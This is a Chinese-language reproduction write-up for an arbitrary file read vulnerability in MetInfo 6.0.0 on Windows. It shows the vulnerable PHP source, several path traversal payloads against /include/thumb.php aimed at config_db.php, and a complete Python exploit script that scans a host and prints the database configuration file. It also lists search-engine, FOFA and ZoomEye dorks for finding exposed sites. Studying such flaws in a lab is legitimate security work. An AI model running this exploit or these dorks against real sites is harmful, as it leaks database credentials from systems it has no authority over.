[文件读取]metinfo_6.0.0 任意文件读取漏洞复现

1.1漏洞描述

漏洞编号	--
漏洞类型	文件读取
漏洞等级	⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐
漏洞环境	windows
漏洞名称	MetInfo 6.0.0 任意文件读取漏洞

MetInfo 是一套使用PHP 和MySQL 开发的内容管理系统。MetInfo 6.0.0 版本中的 /app/system/include/module/old_thumb.class.php 文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。

1.2漏洞等级

高危

1.3影响版本

* MetInfo 6.0.0

1.4漏洞复现

1.4.1.基础环境

组件	版本
OS	Microsoft Windows Server 2016 Standard
Web Server	phpStudy 2016
MetInfo	6.0.0

 开启：metinfo_6.0.0 网站

1.4.2.漏洞点

/include/thumb.php

1.4.3.测试

• 第一次测试

/include/thumb.php?dir=..././http/..././config/config_db.php

不可用

• 第二次测试

/include/thumb.php?dir=.....///http/.....///config/config_db.php

 不可用

• 第三次测试

/include/thumb.php?dir=http/.....///.....///config/config_db.php

不可用

• 第四次测试

/include/thumb.php?dir=http\..\..\config\config_db.php

成功。

注意：

• 此POC 仅适用于Windows 系统，Linux 下无效。

1.4.4 源码分析

<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
defined('IN_MET') or exit('No permission');
load::sys_class('web');
class old_thumb extends web{public function doshow(){global $_M;$dir = str_replace(array('../','./'), '', $_GET['dir']);if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){header("Content-type: image/jpeg");ob_start();readfile($dir);ob_flush();flush();die;}if($_M['form']['pageset']){$path = $dir."&met-table={$_M['form']['met-table']}&met-field={$_M['form']['met-field']}";}else{$path = $dir;}$image =  thumb($path,$_M['form']['x'],$_M['form']['y']);if($_M['form']['pageset']){$img = explode('?', $image);$img = $img[0];}else{$img = $image;}if($img){header("Content-type: image/jpeg");ob_start();readfile(PATH_WEB.str_replace($_M['url']['site'], '', $img));ob_flush();flush();}}
}# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

        查看源码我们可以看到过滤了../ 和./所以前三次测试没有成功，第四次我们使用的是 \.. ,所以读取成功。

1.5深度利用

1.5.1 EXP 编写

import requests
import sysbanner = """
MetInfo 6.0.0___________.__.__           __________                   .___\_   _____/|__|  |   ____   \______   \ ____ _____     __| _/|    __)  |  |  | _/ __ \   |       _// __ \\__  \   / __ | |     \   |  |  |_\  ___/   |    |   \  ___/ / __ \_/ /_/ | \___  /   |__|____/\___  >  |____|_  /\___  >____  /\____ | \/                 \/          \/     \/     \/      \/ - wj33333
Usage: python3 *.py http://10.4.7.210/metinfo_6.0.0
"""
headers = {"User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}dir_list = ["..././http/..././config/config_db.php",".....///http/.....///config/config_db.php","http/.....///.....///config/config_db.php","http\..\..\config\config_db.php"
]def attack(host):vul = "/include/thumb.php"url = host + vulres = requests.get(url = url, headers = headers)if res.status_code != 200:print(f"[INFO] {vul} is Not Exists!")exit()print(f"[INFO] {vul} is Exists!")for param in dir_list:params = {"dir":  param }res = requests.get(url = url, params = params, headers = headers)print(f"[INFO] Test URL: {res.url}")if "<?php" in res.text:print("[RESULT] The target is vulnreable!")print(f"[RESULT]\n{res.text}")breakif len(sys.argv) < 2:print(banner)exit()host = sys.argv[1]attack(host = host)

1.6漏洞挖掘

1.6.1指纹信息

• 传统搜索引擎

Powered by MetInfo 6.0.0
intext:"Powered by MetInfo 6.0.0" inurl:"tw"

• FOFA

app="metinfo"

• ZoomEye

app:"MetInfo"
app:"MetInfo"+os:"Windows"

1.7修复建议

• 升级

• 打补丁

• 上设备